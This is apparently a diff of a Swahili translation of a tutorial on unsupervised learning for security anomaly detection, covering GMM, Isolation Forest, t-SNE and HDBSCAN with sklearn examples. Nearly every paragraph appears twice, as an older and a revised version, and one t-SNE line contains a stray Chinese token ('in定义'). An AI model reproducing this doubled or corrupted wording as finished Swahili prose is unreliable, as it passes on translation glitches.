r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
|
||||
```
|
||||
ambapo:
|
||||
- \( \pi_k \) ni coefficient ya mchanganyiko kwa kundi k (uwezekano wa awali wa kundi k),
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) ni kazi ya uwezekano wa density ya Gaussian kwa pointi \( x_n \) ikizingatia wastani \( \mu_k \) na covariance \( \Sigma_k \).
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) ni kazi ya uwezekano wa wiani wa Gaussian kwa pointi \( x_n \) ikizingatia wastani \( \mu_k \) na covariance \( \Sigma_k \).
|
||||
|
||||
- **M-step (Uboreshaji)**: Sasisha vigezo kwa kutumia majukumu yaliyohesabiwa katika hatua ya E:
|
||||
- Sasisha kila wastani μ_k kama wastani wa uzito wa pointi, ambapo uzito ni majukumu.
|
||||
- Sasisha kila covariance Σ_k kama covariance ya uzito wa pointi zilizotengwa kwa kundi k.
|
||||
- Sasisha coefficients za mchanganyiko π_k kama wastani wa jukumu kwa kundi k.
|
||||
|
||||
- **Rudia** hatua za E na M hadi kufikia muafaka (vigezo vinastabilika au kuboresha uwezekano kunakuwa chini ya kigezo).
|
||||
- **Rudia** hatua za E na M hadi kufikia muafaka (vigezo vinapokuwa thabiti au kuboresha uwezekano kunapokuwa chini ya kigezo).
|
||||
|
||||
Matokeo ni seti ya distributions za Gaussian ambazo kwa pamoja zinaiga usambazaji wa data kwa ujumla. Tunaweza kutumia GMM iliyofanywa kuunda makundi kwa kupeana kila pointi kwa Gaussian yenye uwezekano mkubwa, au kuweka uwezekano kwa ajili ya kutokuwa na uhakika. Mtu pia anaweza kutathmini uwezekano wa pointi mpya ili kuona kama zinafaa katika mfano (inayofaa kwa kugundua kasoro).
|
||||
Matokeo ni seti ya usambazaji wa Gaussian ambayo kwa pamoja inasimamia usambazaji wa data kwa ujumla. Tunaweza kutumia GMM iliyofanywa kuunda makundi kwa kupeana kila pointi kwa Gaussian yenye uwezekano mkubwa, au kuweka uwezekano kwa ajili ya kutokuwa na uhakika. Mtu pia anaweza kutathmini uwezekano wa pointi mpya ili kuona kama zinafaa katika mfano (inayofaa kwa kugundua kasoro).
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* GMM inaweza kutumika kwa kugundua kasoro kwa kuiga usambazaji wa data ya kawaida: pointi yoyote yenye uwezekano mdogo sana chini ya mchanganyiko uliojifunza inatambuliwa kama kasoro. Kwa mfano, unaweza kufundisha GMM juu ya vipengele vya trafiki halali ya mtandao; muunganisho wa shambulio ambao haufanani na kundi lolote lililojifunzwa utakuwa na uwezekano mdogo. GMM pia hutumiwa kuunda makundi ya shughuli ambapo makundi yanaweza kuwa na sura tofauti – e.g., kuunganisha watumiaji kwa wasifu wa tabia, ambapo vipengele vya kila wasifu vinaweza kuwa kama Gaussian lakini na muundo wake wa tofauti. Hali nyingine: katika kugundua ulaghai, vipengele halali vya barua pepe vinaweza kuunda kundi moja la Gaussian, ulaghai unaojulikana mwingine, na kampeni mpya za ulaghai zinaweza kuonekana kama Gaussian tofauti au kama pointi zenye uwezekano mdogo kulingana na mchanganyiko uliopo.
|
||||
> *Matumizi katika usalama wa mtandao:* GMM inaweza kutumika kwa kugundua kasoro kwa kuunda mfano wa usambazaji wa data ya kawaida: pointi yoyote yenye uwezekano mdogo sana chini ya mchanganyiko uliojifunza inatambuliwa kama kasoro. Kwa mfano, unaweza kufundisha GMM juu ya vipengele vya trafiki halali ya mtandao; muunganisho wa shambulio ambao haufanani na kundi lolote lililojifunzwa utakuwa na uwezekano mdogo. GMM pia hutumiwa kuunda makundi ya shughuli ambapo makundi yanaweza kuwa na sura tofauti – e.g., kuunganisha watumiaji kwa wasifu wa tabia, ambapo vipengele vya kila wasifu vinaweza kuwa kama Gaussian lakini na muundo wake wa tofauti. Hali nyingine: katika kugundua ulaghai, vipengele halali vya barua pepe vinaweza kuunda kundi moja la Gaussian, ulaghai unaojulikana mwingine, na kampeni mpya za ulaghai zinaweza kuonekana kama Gaussian tofauti au kama pointi zenye uwezekano mdogo kulingana na mchanganyiko uliopo.
|
||||
|
||||
#### Dhana na Mipaka
|
||||
|
||||
GMM ni jumla ya K-Means ambayo inajumuisha covariance, hivyo makundi yanaweza kuwa ya ellipsoidal (siyo tu ya mpira). Inashughulikia makundi ya ukubwa na sura tofauti ikiwa covariance ni kamili. Ugawaji laini ni faida wakati mipaka ya kundi ni ya kutatanisha – e.g., katika usalama wa mtandao, tukio linaweza kuwa na sifa za aina kadhaa za shambulio; GMM inaweza kuonyesha kutokuwa na uhakika hiyo kwa uwezekano. GMM pia inatoa makadirio ya density ya uwezekano wa data, inayofaa kwa kugundua nje (pointi zenye uwezekano mdogo chini ya vipengele vyote vya mchanganyiko).
|
||||
GMM ni jumla ya K-Means ambayo inajumuisha covariance, hivyo makundi yanaweza kuwa ya ellipsoidal (siyo tu ya mpira). Inashughulikia makundi ya ukubwa na sura tofauti ikiwa covariance ni kamili. Uundaji wa laini ni faida wakati mipaka ya kundi ni ya kutatanisha – e.g., katika usalama wa mtandao, tukio linaweza kuwa na sifa za aina kadhaa za shambulio; GMM inaweza kuonyesha kutokuwa na uhakika hiyo kwa uwezekano. GMM pia inatoa makadirio ya wiani wa uwezekano wa data, inayofaa kwa kugundua viashiria (pointi zenye uwezekano mdogo chini ya vipengele vyote vya mchanganyiko).
|
||||
|
||||
Kwa upande mbaya, GMM inahitaji kufafanua idadi ya vipengele K (ingawa mtu anaweza kutumia vigezo kama BIC/AIC kuichagua). EM inaweza wakati mwingine kukaribia polepole au kwa muafaka wa ndani, hivyo kuanzisha ni muhimu (mara nyingi hufanya EM mara kadhaa). Ikiwa data haifuati mchanganyiko wa Gaussian, mfano unaweza kuwa na ufanisi duni. Pia kuna hatari ya Gaussian mmoja kupungua ili kufunika tu nje (ingawa udhibiti au mipaka ya chini ya covariance inaweza kupunguza hiyo).
|
||||
Kwa upande mbaya, GMM inahitaji kubainisha idadi ya vipengele K (ingawa mtu anaweza kutumia vigezo kama BIC/AIC kuichagua). EM inaweza wakati mwingine kufikia muafaka polepole au kwa kiwango cha ndani, hivyo kuanzisha ni muhimu (mara nyingi inatekeleza EM mara kadhaa). Ikiwa data haifuati mchanganyiko wa Gaussians, mfano unaweza kuwa na ufanisi duni. Pia kuna hatari ya Gaussian mmoja kupungua ili kufunika tu kiashiria (ingawa udhibiti au mipaka ya chini ya covariance inaweza kupunguza hiyo).
|
||||
```python
|
||||
from sklearn.mixture import GaussianMixture
|
||||
|
||||
@ -274,22 +274,22 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
Katika msimbo huu, tunafundisha GMM na Gaussians 3 kwenye trafiki ya kawaida (tukidhani tunajua wasifu 3 wa trafiki halali). Maana na covariances zilizochapishwa zinaelezea makundi haya (kwa mfano, maana moja inaweza kuwa karibu [50,500] inayohusiana na kituo cha kundi moja, n.k.). Kisha tunajaribu muunganisho wa kutatanisha [duration=200, bytes=800]. predict_proba inatoa uwezekano wa pointi hii kuhusika na kila moja ya makundi 3 – tungeweza kutarajia uwezekano huu kuwa wa chini sana au kupindishwa sana kwani [200,800] iko mbali na makundi ya kawaida. Alama ya jumla ya score_samples (log-likelihood) inachapishwa; thamani ya chini sana inaonyesha kuwa pointi hiyo haifai vizuri kwenye mfano, ikionyesha kama anomali. Katika mazoezi, mtu anaweza kuweka kigezo kwenye log-likelihood (au kwenye uwezekano wa juu) ili kuamua ikiwa pointi ni ya kutosha kutokuwa na hatari. GMM hivyo hutoa njia iliyo na kanuni ya kufanya ugunduzi wa anomali na pia inatoa makundi laini yanayotambua kutokuwa na uhakika.
|
||||
Katika msimbo huu, tunafundisha GMM na Gaussians 3 kwenye trafiki ya kawaida (tukidhani tunajua wasifu 3 wa trafiki halali). Maana na covariances zilizochapishwa zinaelezea makundi haya (kwa mfano, maana moja inaweza kuwa karibu [50,500] inayohusiana na kituo cha kundi moja, n.k.). Kisha tunajaribu muunganisho wa kutatanisha [duration=200, bytes=800]. predict_proba inatoa uwezekano wa pointi hii kuhusika na kila moja ya makundi 3 – tungeweza kutarajia uwezekano huu kuwa wa chini sana au kupotoshwa sana kwani [200,800] iko mbali na makundi ya kawaida. Alama ya jumla ya score_samples (log-likelihood) inachapishwa; thamani ya chini sana inaonyesha kuwa pointi hiyo haifai vizuri kwenye mfano, ikionyesha kama anomali. Katika mazoezi, mtu anaweza kuweka kigezo kwenye log-likelihood (au kwenye uwezekano wa juu) ili kuamua ikiwa pointi ni ya chini vya kutosha kuzingatiwa kuwa mbaya. GMM hivyo hutoa njia iliyo na kanuni ya kufanya ugunduzi wa anomali na pia inatoa makundi laini yanayotambua kutokuwa na uhakika.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest** ni algorithimu ya ugunduzi wa anomali ya pamoja inayotokana na wazo la kutenga pointi kwa bahati nasibu. Kanuni ni kwamba anomali ni chache na tofauti, hivyo ni rahisi kuzitenga kuliko pointi za kawaida. Isolation Forest inajenga miti nyingi za kutenga binary (miti ya maamuzi ya bahati nasibu) ambazo zinagawanya data kwa bahati nasibu. Kila node kwenye mti, kipengele cha bahati nasibu kinachaguliwa na thamani ya kugawanya ya bahati nasibu inachaguliwa kati ya min na max ya kipengele hicho kwa data katika node hiyo. Kugawanya hii kunagawanya data katika matawi mawili. Mti unakua hadi kila pointi itengwe katika jani lake mwenyewe au urefu wa juu wa mti unafikiwa.
|
||||
**Isolation Forest** ni algorithimu ya ugunduzi wa anomali ya pamoja inayotokana na wazo la kutenga pointi kwa bahati nasibu. Kanuni ni kwamba anomali ni chache na tofauti, hivyo ni rahisi kuzitenga kuliko pointi za kawaida. Isolation Forest inajenga miti nyingi za kutenga binary (miti ya maamuzi ya bahati nasibu) ambazo zinagawanya data kwa bahati nasibu. Kila node kwenye mti, kipengele cha bahati nasibu kinachaguliwa na thamani ya kugawanya ya bahati nasibu inachaguliwa kati ya min na max ya kipengele hicho kwa data katika node hiyo. Kugawanya hii inagawanya data katika matawi mawili. Mti unakua hadi kila pointi itengwe katika jani lake mwenyewe au urefu wa juu wa mti unafikiwa.
|
||||
|
||||
Ugunduzi wa anomali unafanywa kwa kuangalia urefu wa njia ya kila pointi katika miti hii ya bahati nasibu – idadi ya kugawanya inayohitajika kutenga pointi hiyo. Kwa njia ya hisabati, anomali (outliers) huwa zinatengwa haraka zaidi kwa sababu kugawanya kwa bahati nasibu kuna uwezekano mkubwa wa kutenganisha outlier (ambaye yuko katika eneo la upungufu) kuliko pointi za kawaida katika kundi lenye msongamano. Isolation Forest inahesabu alama ya anomali kutoka kwa urefu wa wastani wa njia juu ya miti yote: urefu wa wastani mfupi → anomali zaidi. Alama kawaida huwekwa sawa kwa [0,1] ambapo 1 inamaanisha anomali yenye uwezekano mkubwa.
|
||||
Ugunduzi wa anomali unafanywa kwa kuangalia urefu wa njia ya kila pointi katika miti hii ya bahati nasibu – idadi ya kugawanya inayohitajika kutenga pointi hiyo. Kwa njia ya kawaida, anomali (outliers) huwa zinatengwa haraka zaidi kwa sababu kugawanya kwa bahati nasibu kuna uwezekano mkubwa wa kutenganisha outlier (ambaye yuko katika eneo la upungufu) kuliko ilivyo kwa pointi za kawaida katika kundi lenye msongamano. Isolation Forest inakadiria alama ya anomali kutoka kwa urefu wa wastani wa njia juu ya miti yote: urefu wa wastani mfupi → anomali zaidi. Alama kawaida huwekwa sawa kwa [0,1] ambapo 1 inamaanisha uwezekano mkubwa wa anomali.
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* Isolation Forests zimekuwa zikitumika kwa mafanikio katika ugunduzi wa uvamizi na ugunduzi wa udanganyifu. Kwa mfano, fundisha Isolation Forest kwenye kumbukumbu za trafiki ya mtandao ambazo kwa kiasi kikubwa zina tabia ya kawaida; msitu utatoa njia fupi kwa trafiki isiyo ya kawaida (kama IP inayotumia bandari isiyojulikana au muundo wa saizi ya pakiti isiyo ya kawaida), ikionyesha kwa ukaguzi. Kwa sababu haitaji mashambulizi yaliyoandikwa, inafaa kwa kugundua aina za mashambulizi zisizojulikana. Inaweza pia kutumika kwenye data za kuingia kwa mtumiaji kugundua kuchukuliwa kwa akaunti (nyakati au maeneo ya kuingia yasiyo ya kawaida yanatengwa haraka). Katika matumizi moja, Isolation Forest inaweza kulinda biashara kwa kufuatilia metriki za mfumo na kutoa arifa wakati mchanganyiko wa metriki (CPU, mtandao, mabadiliko ya faili) unaonekana kuwa tofauti sana (njia fupi za kutengwa) kutoka kwa mifumo ya kihistoria.
|
||||
|
||||
#### Dhana na Mipaka
|
||||
|
||||
**Faida**: Isolation Forest haitaji dhana ya usambazaji; inashughulikia moja kwa moja kutengwa. Ni bora kwenye data zenye vipimo vingi na seti kubwa za data (ugumu wa moja kwa moja $O(n\log n)$ kwa kujenga msitu) kwani kila mti unategemea pointi na vipengele na kugawanya tu. Inashughulikia vizuri vipengele vya nambari na inaweza kuwa haraka zaidi kuliko mbinu zinazotegemea umbali ambazo zinaweza kuwa $O(n^2)$. Pia inatoa moja kwa moja alama ya anomali, hivyo unaweza kuweka kigezo cha arifa (au kutumia kipimo cha uchafuzi kuamua kiotomatiki kikomo kulingana na sehemu inayotarajiwa ya anomali).
|
||||
**Faida**: Isolation Forest haitaji dhana ya usambazaji; inashughulikia moja kwa moja kutengwa. Ni bora kwenye data zenye vipimo vingi na seti kubwa za data (ugumu wa moja kwa moja $O(n\log n)$ kwa kujenga msitu) kwani kila mti unategemea pointi na vipengele na kugawanya tu. Inashughulikia vizuri vipengele vya nambari na inaweza kuwa haraka zaidi kuliko mbinu zinazotegemea umbali ambazo zinaweza kuwa $O(n^2)$. Pia inatoa moja kwa moja alama ya anomali, hivyo unaweza kuweka kigezo cha arifa (au kutumia kipimo cha uchafuzi kuamua moja kwa moja kikomo kulingana na sehemu inayotarajiwa ya anomali).
|
||||
|
||||
**Mipaka**: Kwa sababu ya asili yake ya bahati nasibu, matokeo yanaweza kutofautiana kidogo kati ya mbio (ingawa kwa miti nyingi vya kutosha hii ni ndogo). Ikiwa data ina vipengele vingi visivyo na maana au ikiwa anomali hazitofautiani kwa nguvu katika kipengele chochote, kutengwa kunaweza kutokuwa na ufanisi (kugawanya kwa bahati nasibu kunaweza kutenga pointi za kawaida kwa bahati – hata hivyo, kuhesabu miti mingi hupunguza hili). Pia, Isolation Forest kwa ujumla inadhani anomali ni wachache (ambayo mara nyingi ni kweli katika hali za usalama wa mtandao).
|
||||
**Mipaka**: Kwa sababu ya asili yake ya bahati nasibu, matokeo yanaweza kutofautiana kidogo kati ya mbio (ingawa kwa miti nyingi vya kutosha hii ni ndogo). Ikiwa data ina vipengele vingi visivyo na maana au ikiwa anomali hazitofautiani kwa nguvu katika kipengele chochote, kutengwa kunaweza kutokuwa na ufanisi (kugawanya kwa bahati nasibu kunaweza kutenga pointi za kawaida kwa bahati – hata hivyo, kuhesabu miti mingi hupunguza hili). Pia, Isolation Forest kwa ujumla inadhani anomali ni wachache (ambayo kwa kawaida ni kweli katika hali za usalama wa mtandao).
|
||||
|
||||
<details>
|
||||
<summary>Mfano -- Kugundua Outliers katika Kumbukumbu za Mtandao
|
||||
@ -311,30 +311,30 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
|
||||
print("Number of anomalies detected:", np.sum(preds == -1))
|
||||
print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
|
||||
```
|
||||
Katika msimbo huu, tunaunda `IsolationForest` na miti 100 na kuweka `contamination=0.15` (kumanisha tunatarajia karibu 15% ya anomalies; mfano utaweka kigezo chake cha alama ili ~15% ya alama zifanywe alama). Tunafaa kwenye `X_test_if` ambayo ina mchanganyiko wa alama za kawaida na za shambulio (kumbuka: kawaida ungetumia data ya mafunzo kisha kutumia predict kwenye data mpya, lakini hapa kwa mfano tunafaa na kutabiri kwenye seti moja ili kuona matokeo moja kwa moja).
|
||||
Katika msimbo huu, tunaunda `IsolationForest` na miti 100 na kuweka `contamination=0.15` (kumanisha tunatarajia karibu 15% ya anomalies; mfano utaweka kigezo chake cha alama ili ~15% ya alama zifanywe alama). Tunafaa kwenye `X_test_if` ambayo ina mchanganyiko wa alama za kawaida na za shambulio (kumbuka: kawaida ungetumia data ya mafunzo na kisha kutumia predict kwenye data mpya, lakini hapa kwa mfano tunafaa na kutabiri kwenye seti ile ile ili kuona matokeo moja kwa moja).
|
||||
|
||||
Matokeo yanaonyesha lebo zilizotabiriwa kwa alama 20 za kwanza (ambapo -1 inaashiria anomaly). Pia tunachapisha ni anomalies ngapi zimegundulika kwa jumla na baadhi ya alama za mfano za anomaly. Tunatarajia karibu 18 kati ya alama 120 kupewa lebo -1 (kwa kuwa contamination ilikuwa 15%). Ikiwa sampuli zetu 20 za shambulio ni kweli ziko mbali zaidi, nyingi yao zinapaswa kuonekana katika hizo -1 predictions. Alama ya anomaly (kazi ya uamuzi ya Isolation Forest) ni kubwa kwa alama za kawaida na ndogo (mbaya zaidi) kwa anomalies – tunachapisha baadhi ya thamani ili kuona utofauti. Katika mazoezi, mtu anaweza kupanga data kwa alama ili kuona waandishi wakuu na kuichunguza. Isolation Forest hivyo inatoa njia bora ya kuchambua data kubwa zisizo na lebo za usalama na kuchagua matukio yasiyo ya kawaida kwa uchambuzi wa kibinadamu au uchunguzi wa kiotomatiki zaidi.
|
||||
Matokeo yanaonyesha lebo zilizotabiriwa kwa alama 20 za kwanza (ambapo -1 inaashiria anomaly). Pia tunachapisha ni anomalies ngapi zimegundulika kwa jumla na baadhi ya alama za mfano za anomaly. Tunatarajia takriban 18 kati ya alama 120 kupewa lebo -1 (kwa kuwa contamination ilikuwa 15%). Ikiwa sampuli zetu 20 za shambulio ni kweli ziko mbali zaidi, nyingi yao zinapaswa kuonekana katika hizo -1 predictions. Alama ya anomaly (kazi ya uamuzi ya Isolation Forest) ni kubwa kwa alama za kawaida na ndogo (mbaya zaidi) kwa anomalies – tunachapisha baadhi ya thamani ili kuona utofauti. Katika mazoezi, mtu anaweza kupanga data kwa alama ili kuona waandishi wakuu na kuichunguza. Isolation Forest hivyo inatoa njia bora ya kuchambua data kubwa zisizo na lebo za usalama na kuchagua matukio yasiyo ya kawaida kwa uchambuzi wa kibinadamu au uchunguzi wa kiotomatiki zaidi.
|
||||
|
||||
### t-SNE (t-Distributed Stochastic Neighbor Embedding)
|
||||
|
||||
**t-SNE** ni mbinu ya kupunguza vipimo isiyo ya laini iliyoundwa mahsusi kwa ajili ya kuonyesha data yenye vipimo vingi katika vipimo 2 au 3. Inabadilisha ufanisi kati ya alama za data kuwa usambazaji wa uwezekano wa pamoja na inajaribu kuhifadhi muundo wa majirani wa ndani katika uwasilishaji wa chini wa vipimo. Kwa maneno rahisi, t-SNE inaweka alama katika (sema) 2D kwa namna ambayo alama zinazofanana (katika nafasi ya asili) zinaishia karibu pamoja na alama zisizofanana zinaishia mbali na uwezekano mkubwa.
|
||||
**t-SNE** ni mbinu ya kupunguza vipimo isiyo ya laini iliyoundwa mahsusi kwa ajili ya kuonyesha data yenye vipimo vingi katika vipimo 2 au 3. Inabadilisha ufanisi kati ya alama za data kuwa usambazaji wa uwezekano wa pamoja na inajaribu kuhifadhi muundo wa majirani wa ndani katika uwasilishaji wa chini wa vipimo. Kwa maneno rahisi, t-SNE inaweka alama katika (sema) 2D kwa namna ambayo alama zinazofanana (katika nafasi ya asili) zinaishia karibu pamoja na alama zisizofanana zinaishia mbali na kila mmoja kwa uwezekano mkubwa.
|
||||
|
||||
Algorithimu ina hatua mbili kuu:
|
||||
|
||||
1. **Hesabu uhusiano wa pande mbili katika nafasi ya vipimo vingi:** Kwa kila jozi ya alama, t-SNE inahesabu uwezekano kwamba mtu angechagua jozi hiyo kama majirani (hii inafanywa kwa kuzingatia usambazaji wa Gaussian kwenye kila alama na kupima umbali – parameter ya perplexity inaathiri idadi halisi ya majirani wanaozingatiwa).
|
||||
2. **Hesabu uhusiano wa pande mbili katika nafasi ya chini ya vipimo (mfano 2D):** Kwanza, alama zinawekwa kwa bahati nasibu katika 2D. t-SNE inaelezea uwezekano sawa kwa umbali katika ramani hii (ikitumia kernel ya usambazaji wa Student t, ambayo ina ncha nzito zaidi kuliko Gaussian ili kuruhusu alama za mbali uhuru zaidi).
|
||||
3. **Gradient Descent:** t-SNE kisha inahamisha alama kwa hatua kwa hatua katika 2D ili kupunguza tofauti ya Kullback–Leibler (KL) kati ya usambazaji wa uhusiano wa juu-D na wa chini-D. Hii inasababisha mpangilio wa 2D kuakisi muundo wa juu-D kadri iwezekanavyo – alama ambazo zilikuwa karibu katika nafasi ya asili zitavutia kila mmoja, na zile zilizo mbali zitakataa, hadi usawa upatikane.
|
||||
2. **Hesabu uhusiano wa pande mbili katika nafasi ya chini ya vipimo (mfano 2D):** Kwanza, alama zinawekwa kwa bahati nasibu katika 2D. t-SNE in定义 uwezekano sawa kwa umbali katika ramani hii (ikitumia kernel ya usambazaji wa Student t, ambayo ina ncha nzito zaidi kuliko Gaussian ili kuruhusu alama za mbali uhuru zaidi).
|
||||
3. **Gradient Descent:** t-SNE kisha inahamisha alama kwa hatua kwa hatua katika 2D ili kupunguza tofauti ya Kullback–Leibler (KL) kati ya usambazaji wa uhusiano wa juu-D na wa chini-D. Hii inasababisha mpangilio wa 2D kuakisi muundo wa juu-D kadri iwezekanavyo – alama ambazo zilikuwa karibu katika nafasi ya asili zitavutia kila mmoja, na zile mbali zitakataa, hadi usawa upatikane.
|
||||
|
||||
Matokeo mara nyingi ni mchoro wa kusambaza wenye maana ya kuona ambapo makundi katika data yanakuwa wazi.
|
||||
Matokeo mara nyingi ni mchoro wa kutawanyika wenye maana ya kuona ambapo makundi katika data yanakuwa wazi.
|
||||
|
||||
> [!TIP]
|
||||
> *Matumizi katika usalama wa mtandao:* t-SNE mara nyingi hutumiwa ku **onyesha data ya usalama yenye vipimo vingi kwa uchambuzi wa kibinadamu**. Kwa mfano, katika kituo cha operesheni za usalama, wachambuzi wanaweza kuchukua seti ya matukio yenye vipengele vingi (nambari za bandari, mara kwa mara, idadi ya byte, nk) na kutumia t-SNE kutoa mchoro wa 2D. Mashambulizi yanaweza kuunda makundi yao wenyewe au kutengwa kutoka kwa data ya kawaida katika mchoro huu, na kuifanya iwe rahisi zaidi kuwatambua. Imetumika kwenye seti za data za malware kuona makundi ya familia za malware au kwenye data ya uvunjaji wa mtandao ambapo aina tofauti za mashambulizi zinakusanyika kwa tofauti, ikiongoza uchunguzi zaidi. Kimsingi, t-SNE inatoa njia ya kuona muundo katika data ya cyber ambayo vinginevyo ingekuwa ngumu kueleweka.
|
||||
> *Matumizi katika usalama wa mtandao:* t-SNE mara nyingi hutumiwa ku **onyesha data ya usalama yenye vipimo vingi kwa uchambuzi wa kibinadamu**. Kwa mfano, katika kituo cha operesheni za usalama, wachambuzi wanaweza kuchukua seti ya matukio yenye vipengele vingi (nambari za bandari, mara kwa mara, idadi ya byte, nk.) na kutumia t-SNE kutoa mchoro wa 2D. Mashambulizi yanaweza kuunda makundi yao wenyewe au kutengwa na data ya kawaida katika mchoro huu, na kuifanya iwe rahisi kuwatambua. Imetumika kwenye seti za data za malware kuona makundi ya familia za malware au kwenye data ya uvunjaji wa mtandao ambapo aina tofauti za mashambulizi zinakusanyika kwa tofauti, ikiongoza uchunguzi zaidi. Kimsingi, t-SNE inatoa njia ya kuona muundo katika data za cyber ambazo vinginevyo zingekuwa ngumu kueleweka.
|
||||
|
||||
#### Dhana na Mipaka
|
||||
|
||||
t-SNE ni nzuri kwa kugundua mifumo kwa kuona. Inaweza kufichua makundi, makundi madogo, na waandishi wa mbali ambao mbinu nyingine za laini (kama PCA) zinaweza kutofaulu. Imetumika katika utafiti wa usalama wa mtandao kuonyesha data ngumu kama vile wasifu wa tabia za malware au mifumo ya trafiki ya mtandao. Kwa sababu inahifadhi muundo wa ndani, ni nzuri katika kuonyesha makundi ya asili.
|
||||
t-SNE ni nzuri kwa kugundua mifumo kwa kuona. Inaweza kufichua makundi, makundi madogo, na waandishi wa mbali ambao mbinu nyingine za laini (kama PCA) zinaweza kutokuwepo. Imetumika katika utafiti wa usalama wa mtandao kuonyesha data ngumu kama vile wasifu wa tabia za malware au mifumo ya trafiki ya mtandao. Kwa sababu inahifadhi muundo wa ndani, ni nzuri katika kuonyesha makundi ya asili.
|
||||
|
||||
Hata hivyo, t-SNE ni nzito kwa kompyuta (takriban $O(n^2)$) hivyo inaweza kuhitaji sampuli kwa seti kubwa sana. Pia ina hyperparameters (perplexity, kiwango cha kujifunza, mizunguko) ambazo zinaweza kuathiri matokeo – mfano, thamani tofauti za perplexity zinaweza kufichua makundi katika viwango tofauti. Mchoro wa t-SNE unaweza wakati mwingine kutafsiriwa vibaya – umbali katika ramani si wa maana moja kwa moja kimataifa (inazingatia jirani wa ndani, wakati mwingine makundi yanaweza kuonekana kuwa mbali sana kwa bandia). Pia, t-SNE ni hasa kwa ajili ya uonyeshaji; haipati njia rahisi ya kuhamasisha alama mpya bila kuhesabu tena, na haikusudiwi kutumika kama maandalizi kwa ajili ya uundaji wa utabiri (UMAP ni mbadala inayoshughulikia baadhi ya masuala haya kwa kasi ya haraka).
|
||||
Hata hivyo, t-SNE ni nzito kwa kompyuta (takriban $O(n^2)$) hivyo inaweza kuhitaji sampuli kwa seti kubwa sana za data. Pia ina hyperparameters (perplexity, kiwango cha kujifunza, mizunguko) ambazo zinaweza kuathiri matokeo – mfano, thamani tofauti za perplexity zinaweza kufichua makundi katika viwango tofauti. Mchoro wa t-SNE unaweza wakati mwingine kutafsiriwa vibaya – umbali katika ramani si wa maana moja kwa moja kimataifa (inazingatia jirani wa ndani, wakati mwingine makundi yanaweza kuonekana kuwa mbali sana kwa bandia). Pia, t-SNE ni hasa kwa ajili ya uonyeshaji; haipati njia rahisi ya kuhamasisha alama mpya bila kuhesabu tena, na haikusudiwi kutumika kama maandalizi kwa ajili ya uundaji wa utabiri (UMAP ni mbadala inayoshughulikia baadhi ya masuala haya kwa kasi ya haraka).
|
||||
|
||||
<details>
|
||||
<summary>Mfano -- Kuonyesha Mifumo ya Mtandao
|
||||
@ -423,21 +423,21 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
Hapa tumekusanya dataset yetu ya kawaida ya 4D na kundi dogo la outliers kali (outliers zina kipengele kimoja (“duration”) kilichowekwa juu sana, nk., ili kuiga muundo wa ajabu). Tunakimbia t-SNE na perplexity ya kawaida ya 30. Data ya output_2d ina umbo (1505, 2). Hatuwezi kuchora katika maandiko haya, lakini kama tungeweza, tungeweza kutarajia kuona labda makundi matatu yaliyofungwa yanayolingana na makundi 3 ya kawaida, na outliers 5 zikionekana kama pointi zilizotengwa mbali na makundi hayo. Katika mchakato wa mwingiliano, tunaweza kubadilisha rangi ya pointi kulingana na lebo zao (kawaida au kundi gani, dhidi ya anomaly) ili kuthibitisha muundo huu. Hata bila lebo, mchambuzi anaweza kugundua pointi hizo 5 zikiwa katika nafasi tupu kwenye mchoro wa 2D na kuziangazia. Hii inaonyesha jinsi t-SNE inaweza kuwa msaada mzuri katika kugundua anomalies kwa njia ya kuona na ukaguzi wa makundi katika data ya cybersecurity, ikikamilisha algorithimu za kiotomatiki zilizo juu.
|
||||
Hapa tumekusanya dataset yetu ya kawaida ya 4D na kundi dogo la outliers kali (outliers zina kipengele kimoja (“duration”) kilichowekwa juu sana, nk., ili kuiga muundo wa ajabu). Tunakimbia t-SNE na perplexity ya kawaida ya 30. Data ya output_2d ina umbo (1505, 2). Hatuwezi kuchora katika maandiko haya, lakini kama tungeweza, tungeweza kutarajia kuona labda makundi matatu yaliyofungwa yanayolingana na makundi 3 ya kawaida, na outliers 5 zikionekana kama pointi zilizotengwa mbali na makundi hayo. Katika mchakato wa mwingiliano, tunaweza kubadilisha rangi za pointi kulingana na lebo zao (kawaida au kundi gani, dhidi ya anomaly) ili kuthibitisha muundo huu. Hata bila lebo, mchambuzi anaweza kugundua pointi hizo 5 zikiwa katika nafasi tupu kwenye mchoro wa 2D na kuziangazia. Hii inaonyesha jinsi t-SNE inaweza kuwa msaada mzuri katika kugundua anomalies kwa njia ya kuona na ukaguzi wa makundi katika data ya cybersecurity, ikikamilisha algorithimu za kiotomatiki zilizo juu.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### HDBSCAN (Hierarchical Density-Based Spatial Clustering of Applications with Noise)
|
||||
|
||||
**HDBSCAN** ni upanuzi wa DBSCAN ambao unafuta hitaji la kuchagua thamani moja ya kimataifa ya `eps` na unaweza kurejesha makundi ya **wiani tofauti** kwa kujenga hierarchi ya vipengele vilivyounganishwa kwa wiani na kisha kuvikandamiza. Ikilinganishwa na DBSCAN ya kawaida, kawaida
|
||||
**HDBSCAN** ni nyongeza ya DBSCAN ambayo inafuta hitaji la kuchagua thamani moja ya kimataifa ya `eps` na ina uwezo wa kurejesha makundi ya **wiani tofauti** kwa kujenga hierarchi ya vipengele vilivyounganishwa kwa wiani na kisha kuvikandamiza. Ikilinganishwa na DBSCAN ya kawaida, kawaida
|
||||
|
||||
* inatoa makundi ya kueleweka zaidi wakati baadhi ya makundi yana wiani mkubwa na mengine yana wiani mdogo,
|
||||
* ina hyper-parameter moja halisi tu (`min_cluster_size`) na chaguo la msingi linalofaa,
|
||||
